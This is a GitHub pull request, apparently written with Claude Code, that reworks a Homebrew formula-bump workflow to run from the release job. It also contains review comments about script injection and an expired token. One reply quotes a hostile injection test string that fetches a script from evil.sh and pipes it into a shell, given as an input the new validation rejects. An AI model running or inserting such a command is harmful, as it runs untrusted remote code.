Skip to content

Call the Homebrew bump from the release instead of an event trigger - #400

Merged
tylervick merged 2 commits into
mainfrom
fix-homebrew-trigger
Aug 7, 2026
Merged

tylervick merged 2 commits into
mainfrom
fix-homebrew-trigger

Conversation

@tylervick

@tylervick tylervick commented Aug 7, 2026

Copy link
Copy Markdown
Member

The release: types: [released] trigger I added in #394 can never fire.

The release is published by softprops/action-gh-release using secrets.GITHUB_TOKEN, and GitHub deliberately does not start new workflow runs from events created by that token — a recursion guard. Confirmed on the real 3.0.0 release: the release published successfully, and the Brew Bump workflow recorded zero runs.

Fix

homebrew-bump.yml becomes a reusable workflow_call, invoked directly as a job of release.yml once the release job succeeds. No event propagation involved, so nothing depends on which token published the release.

Guards preserved: if: github.event_name == 'push' && needs.build.outputs.prerelease != 'true', so release candidates still never reach homebrew-core. Manual workflow_dispatch is kept for re-runs.

This is not the only thing blocking the 3.0.0 formula bump

A manual dispatch also fails:

GitHub API Error: Bad credentials (GitHub::API::AuthenticationFailedError)
`$HOMEBREW_GITHUB_API_TOKEN` may be invalid or expired

HOMEBREW_BUMP_ACCESS_TOKEN has expired or been revoked. It was added 2023-11-13. No bump can succeed until it is regenerated, automatic or manual.

Homebrew currently serves 2.5.1 (31,640 installs in the last 90 days), and will keep doing so until that token is replaced and a bump runs.

🤖 Generated with Claude Code

Summary by CodeRabbit

  • Chores
    • Automated Homebrew updates now run as part of successful non-prerelease releases.
    • Release workflows securely pass the generated version and authorization to the Homebrew update process.
    • Manual Homebrew update runs remain supported.
    • Release tags are validated before Homebrew updates are submitted, helping prevent updates from invalid version formats.

The release:types:[released] trigger added in #394 can never fire. The
release is published by softprops/action-gh-release using GITHUB_TOKEN,
and GitHub deliberately does not start new workflow runs from events that
token creates, to prevent recursion. Confirmed on the 3.0.0 release: the
release published, and the Brew Bump workflow recorded zero runs.

homebrew-bump.yml becomes a reusable workflow_call, invoked directly as a
job of the release once the release job succeeds, guarded so prereleases
never reach homebrew-core. Manual workflow_dispatch is kept for re-runs.

Note this is not what blocked the 3.0.0 formula bump on its own: a manual
dispatch also failed, with "Bad credentials" from the Homebrew API. The
HOMEBREW_BUMP_ACCESS_TOKEN secret has expired or been revoked and needs
regenerating before any bump can succeed.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
@coderabbitai

coderabbitai Bot commented Aug 7, 2026

Copy link
Copy Markdown

Review Change Stack

📝 Walkthrough

Walkthrough

The Homebrew workflow now supports reusable calls with a release version. The release workflow exports the build version and invokes the Homebrew workflow for non-prerelease pushes.

Changes

Homebrew release automation

Layer / File(s) Summary
Reusable Homebrew workflow contract
.github/workflows/homebrew-bump.yml
The workflow replaces the release trigger with workflow_call, accepts a required version, strips optional tag references, validates release-tag formats, and rejects invalid values.
Release workflow invocation
.github/workflows/release.yml
The build job exports the generated version. A dependent homebrew job invokes the reusable workflow for non-prerelease pushes and inherits repository secrets.

Estimated code review effort: 2 (Simple) | ~10 minutes

Sequence Diagram(s)

sequenceDiagram
  participant release.yml
  participant build
  participant homebrew-bump.yml
  participant Homebrew action
  release.yml->>build: Generate release metadata
  build-->>release.yml: Return version output
  release.yml->>homebrew-bump.yml: Pass version and inherited secrets
  homebrew-bump.yml->>Homebrew action: Bump formula with access token
Loading

Possibly related PRs

🚥 Pre-merge checks | ✅ 5
✅ Passed checks (5 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title clearly and concisely summarizes the main change: invoking the Homebrew bump from the release workflow instead of using an event trigger.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.
✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch fix-homebrew-trigger

Comment @coderabbitai help to get the list of available commands.

Comment thread .github/workflows/homebrew-bump.yml Outdated
else
TAG="${{ github.event.release.tag_name }}"
fi
TAG="${{ inputs.version }}"

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 3

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @.github/workflows/homebrew-bump.yml:
- Line 31: Update the workflow step assigning TAG from inputs.version to pass
the input through the step env, normalize an optional refs/tags/ prefix, and
validate the result against the allowed release-tag format before exporting tag
via GITHUB_OUTPUT. Do not interpolate the unvalidated input directly into shell
code.
- Around line 13-15: Update the workflow_call secrets declaration in the
Homebrew bump workflow to add HOMEBREW_BUMP_ACCESS_TOKEN as an optional secret
(required: false), alongside token, so the existing line-40 reference validates
while preserving the repository-secret fallback for manual dispatch.

In @.github/workflows/release.yml:
- Around line 191-192: Rotate the HOMEBREW_BUMP_ACCESS_TOKEN repository secret
before the next stable release, then perform a controlled rerun of the
non-prerelease release job to verify dawidd6/action-homebrew-bump-formula@v8
succeeds with the updated token.
🪄 Autofix

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro Plus

Run ID: 376082e2-3747-42ca-8886-e788ef135924

📥 Commits

Reviewing files that changed from the base of the PR and between 69b32fe and 51f3dad.

📒 Files selected for processing (2)
  • .github/workflows/homebrew-bump.yml
  • .github/workflows/release.yml

Comment thread .github/workflows/homebrew-bump.yml Outdated
Comment on lines +13 to +15
secrets:
token:
required: true

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
set -eu

printf '%s\n' '--- workflow files ---'
git ls-files '.github/workflows/*' | sort

printf '%s\n' '--- homebrew-bump.yml ---'
cat -n .github/workflows/homebrew-bump.yml

printf '%s\n' '--- release.yml relevant section ---'
cat -n .github/workflows/release.yml | sed -n '175,205p'

printf '%s\n' '--- references ---'
rg -n --hidden --glob '.github/workflows/**' 'HOMEBREW_BUMP_ACCESS_TOKEN|uses:.*homebrew-bump|workflow_call|workflow_dispatch|secrets:' .

Repository: XCTestHTMLReport/XCTestHTMLReport

Length of output: 3930


🏁 Script executed:

#!/bin/bash
set -eu

cat -n .github/workflows/homebrew-bump.yml
printf '\n--- release caller ---\n'
cat -n .github/workflows/release.yml | sed -n '175,205p'
printf '\n--- references ---\n'
rg -n --hidden --glob '.github/workflows/**' \
  'HOMEBREW_BUMP_ACCESS_TOKEN|homebrew-bump|workflow_call|workflow_dispatch|secrets:' .

Repository: XCTestHTMLReport/XCTestHTMLReport

Length of output: 3656


🌐 Web query:

GitHub Actions reusable workflow undeclared secrets context workflow_call direct workflow_dispatch secrets expression

💡 Result:

In GitHub Actions, secrets are not automatically available to reusable workflows due to security boundaries [1]. To use secrets within a reusable workflow, they must be explicitly handled using one of the following methods: 1. Explicit Passing: You can explicitly pass secrets from the caller workflow to the called workflow using the secrets keyword within the job definition [2][3]. The reusable workflow must define these secrets in its on.workflow_call.secrets configuration [2][4]. 2. Inherit: You can use the secrets: inherit keyword in the caller workflow [3][5]. This automatically passes all secrets available to the caller to the reusable workflow [1][5]. Even when using inherit, the reusable workflow should still declare the secrets it expects to consume under on.workflow_call.secrets, though setting required: false is sufficient [1][4]. Regarding workflow_dispatch and workflow_call: A single workflow file can be triggered by both workflow_call and workflow_dispatch [6]. However, when a workflow is triggered via workflow_dispatch, it does not receive secrets through the same mechanism as a reusable workflow call [6]. When you manually trigger a workflow that also supports workflow_call, it operates under the context of the workflow_dispatch event, and you cannot "pass" secrets to it as you would from a caller workflow [6][7]. If your workflow relies on secrets, you must ensure those secrets are available in the repository settings, and they will be accessed directly by the workflow steps [6]. Important considerations: - Context Availability: The secrets context is not available at the job-level with: block [8]. You cannot pass a secret value into an input variable using ${{ secrets.SECRET_NAME }} because the with: block is evaluated at parse time before secrets are resolved [8]. To handle this, pass the secret name as a string via inputs and resolve the secret dynamically inside the called workflow using the syntax ${{ secrets[inputs.secret_name] }} [8]. - Undefined Secrets: If you attempt to pass a secret that is not declared in the called workflow's on.workflow_call.secrets (and you are not using secrets: inherit), the workflow will fail at the parsing stage with an error indicating the secret is not defined [4]. - Environment Secrets: Reusable workflows do not support passing environment secrets via the caller's secrets block [3]. If a reusable workflow specifies an environment, it will use that environment's secrets rather than any secrets passed from the caller [3]. Top results: [2][6][1][8][4]

Citations:


🏁 Script executed:

#!/bin/bash
set -eu

if command -v actionlint >/dev/null 2>&1; then
  actionlint .github/workflows/homebrew-bump.yml .github/workflows/release.yml
else
  echo "actionlint is not installed"
fi

printf '\n--- workflow_call secret declarations and references ---\n'
rg -n -C 3 'workflow_call|secrets:|secrets\.[A-Za-z_][A-Za-z0-9_]*' \
  .github/workflows/homebrew-bump.yml .github/workflows/release.yml

Repository: XCTestHTMLReport/XCTestHTMLReport

Length of output: 551


🌐 Web query:

site:docs.github.com/en/actions reusable workflow secrets context undeclared secret reference called workflow

💡 Result:

In GitHub Actions, secrets are not automatically inherited by reusable workflows [1][2]. If a reusable workflow attempts to access a secret that has not been explicitly defined and passed by the caller, the workflow run will fail [3][4]. When you encounter an error regarding an undeclared secret reference in a called workflow, it is because of the following requirements: 1. Define in the Called Workflow: You must declare the secret in the reusable workflow's on.workflow_call section [3][4]. This identifies which secrets the reusable workflow expects to receive [3][4]. Example: on: workflow_call: secrets: REQUIRED_SECRET: description: 'A secret passed from the caller' required: true 2. Pass from the Caller Workflow: The caller workflow must then map a secret from its own context to the secret defined in the called workflow using the secrets keyword within the job configuration [1][3]. Example: jobs: call-workflow: uses: octo-org/example-repo/.github/workflows/reusable-workflow.yml@main secrets: REQUIRED_SECRET: ${{ secrets.MY_SECRET }} Alternatively, you can use secrets: inherit in the caller workflow to pass all secrets from the caller to the called workflow automatically [1]. If a caller workflow passes a secret that is not defined in the called workflow, it results in an error [3][4]. If you are passing secrets to a nested reusable workflow, you must explicitly pass them at every level of the workflow chain [1][3].

Citations:


Declare HOMEBREW_BUMP_ACCESS_TOKEN as an optional workflow_call secret.

The expression at line 40 references an undeclared secret, which causes workflow validation to fail. Add it so manual dispatch can use the repository-secret fallback.

Proposed fix
     secrets:
       token:
         required: true
+      HOMEBREW_BUMP_ACCESS_TOKEN:
+        required: false
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
secrets:
token:
required: true
secrets:
token:
required: true
HOMEBREW_BUMP_ACCESS_TOKEN:
required: false
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/homebrew-bump.yml around lines 13 - 15, Update the
workflow_call secrets declaration in the Homebrew bump workflow to add
HOMEBREW_BUMP_ACCESS_TOKEN as an optional secret (required: false), alongside
token, so the existing line-40 reference validates while preserving the
repository-secret fallback for manual dispatch.

Source: Linters/SAST tools

Comment thread .github/workflows/homebrew-bump.yml Outdated
Comment thread .github/workflows/release.yml Outdated
SonarCloud and CodeRabbit both flagged the Resolve tag step. It expanded
${{ inputs.version }} straight into the run body, and a workflow_dispatch
input is controllable by anyone with write access — in a job that holds
HOMEBREW_BUMP_ACCESS_TOKEN. The input now reaches the shell only through
the environment, and is validated against the tag shapes the release
workflow accepts, so a malformed value fails here rather than reaching
Homebrew.

Also drops the secrets.token || secrets.HOMEBREW_BUMP_ACCESS_TOKEN
fallback. It existed because workflow_dispatch cannot be passed secrets,
so the two branches resolved differently depending on trigger, and the
repo secret was referenced without being declared under
workflow_call.secrets. The caller now inherits instead, leaving one code
path that reads the repository secret however the workflow was started.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
@tylervick

Copy link
Copy Markdown
Member Author

Addressed in 8e15fd7.

Script injection (homebrew-bump.yml:31) — valid, fixed. ${{ inputs.version }} no longer reaches the shell through interpolation; it is passed via env: and validated against the tag shapes the release workflow accepts before being used. Verified the pattern accepts 3.0.0, 3.0.0rc1, 10.2.34rc12 and refs/tags/3.0.0, and rejects v3.0.0, 3.0, 3.0.0-rc1, and injection attempts such as 3.0.0"; curl evil.sh | sh; ".

Worth noting the severity is real rather than theoretical: dispatching this workflow requires write access, but the job holds HOMEBREW_BUMP_ACCESS_TOKEN, so a compromised collaborator account could have exfiltrated it.

Undeclared secret (homebrew-bump.yml:13-15) — valid finding, fixed differently. Rather than declaring HOMEBREW_BUMP_ACCESS_TOKEN as an optional workflow_call secret alongside token, the fallback is removed entirely and the caller uses secrets: inherit.

The secrets.token || secrets.HOMEBREW_BUMP_ACCESS_TOKEN expression was the actual problem: workflow_dispatch cannot be passed secrets at all, so the two branches resolved differently depending on how the workflow was triggered — the workflow_call path used the passed secret and the dispatch path used the repository one. Inheriting leaves a single code path that reads the repository secret either way.

Rotate the token before the next stable release — agreed, and no code change applies. It is recorded in the PR description: the token is already expired, a manual dispatch fails with Bad credentials, and Homebrew will keep serving 2.5.1 until it is regenerated. Tracked as the one outstanding item on the 3.0.0 release.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @.github/workflows/homebrew-bump.yml:
- Around line 41-42: Rotate or replace the expired HOMEBREW_BUMP_ACCESS_TOKEN
repository secret used by the Homebrew bump workflow, then rerun the workflow
and verify that the formula update completes successfully.
🪄 Autofix

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro Plus

Run ID: 8e1843a1-2efa-4f13-84a7-c87548166425

📥 Commits

Reviewing files that changed from the base of the PR and between 51f3dad and 8e15fd7.

📒 Files selected for processing (2)
  • .github/workflows/homebrew-bump.yml
  • .github/workflows/release.yml
🚧 Files skipped from review as they are similar to previous changes (1)
  • .github/workflows/release.yml

Comment on lines 41 to 42
echo "tag=${TAG}" >> "$GITHUB_OUTPUT"
echo "bumping to ${TAG}"

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

Rotate the Homebrew token before merge.

The PR context reports that HOMEBREW_BUMP_ACCESS_TOKEN is expired or revoked. The Homebrew action will fail with bad credentials. Replace the repository secret, then rerun the workflow and verify the formula update.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/homebrew-bump.yml around lines 41 - 42, Rotate or replace
the expired HOMEBREW_BUMP_ACCESS_TOKEN repository secret used by the Homebrew
bump workflow, then rerun the workflow and verify that the formula update
completes successfully.

@tylervick
tylervick merged commit 8afce85 into main Aug 7, 2026
5 of 6 checks passed
@tylervick
tylervick deleted the fix-homebrew-trigger branch August 7, 2026 22:44
tylervick added a commit that referenced this pull request Aug 7, 2026
…401)

xctesthtmlreport is on Homebrew's autobump list. BrewTestBot opens a
version-bump PR against homebrew-core on its own roughly every 3 hours
after a release, and brew bump-formula-pr refuses a manual bump for
autobumped formulae:

  Whoops, the xctesthtmlreport formula has its version update pull
  requests automatically opened by BrewTestBot every ~3 hours!

Every formula PR since 2.5.1 was opened by BrewTestBot, and the Brew Bump
workflow has zero runs in its history — the formula has been updating
without it the whole time.

So the homebrew job added in #400 would have failed on every release,
turning the release workflow red for a step that is not needed. Removed.

The workflow itself is kept as a manual escape hatch for the case where
the formula leaves the autobump list, but is no longer wired into the
release. Its workflow_call plumbing goes with the caller.

This only surfaced once HOMEBREW_BUMP_ACCESS_TOKEN was valid: with an
expired token brew failed at authentication before ever reaching the
autobump check.

Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants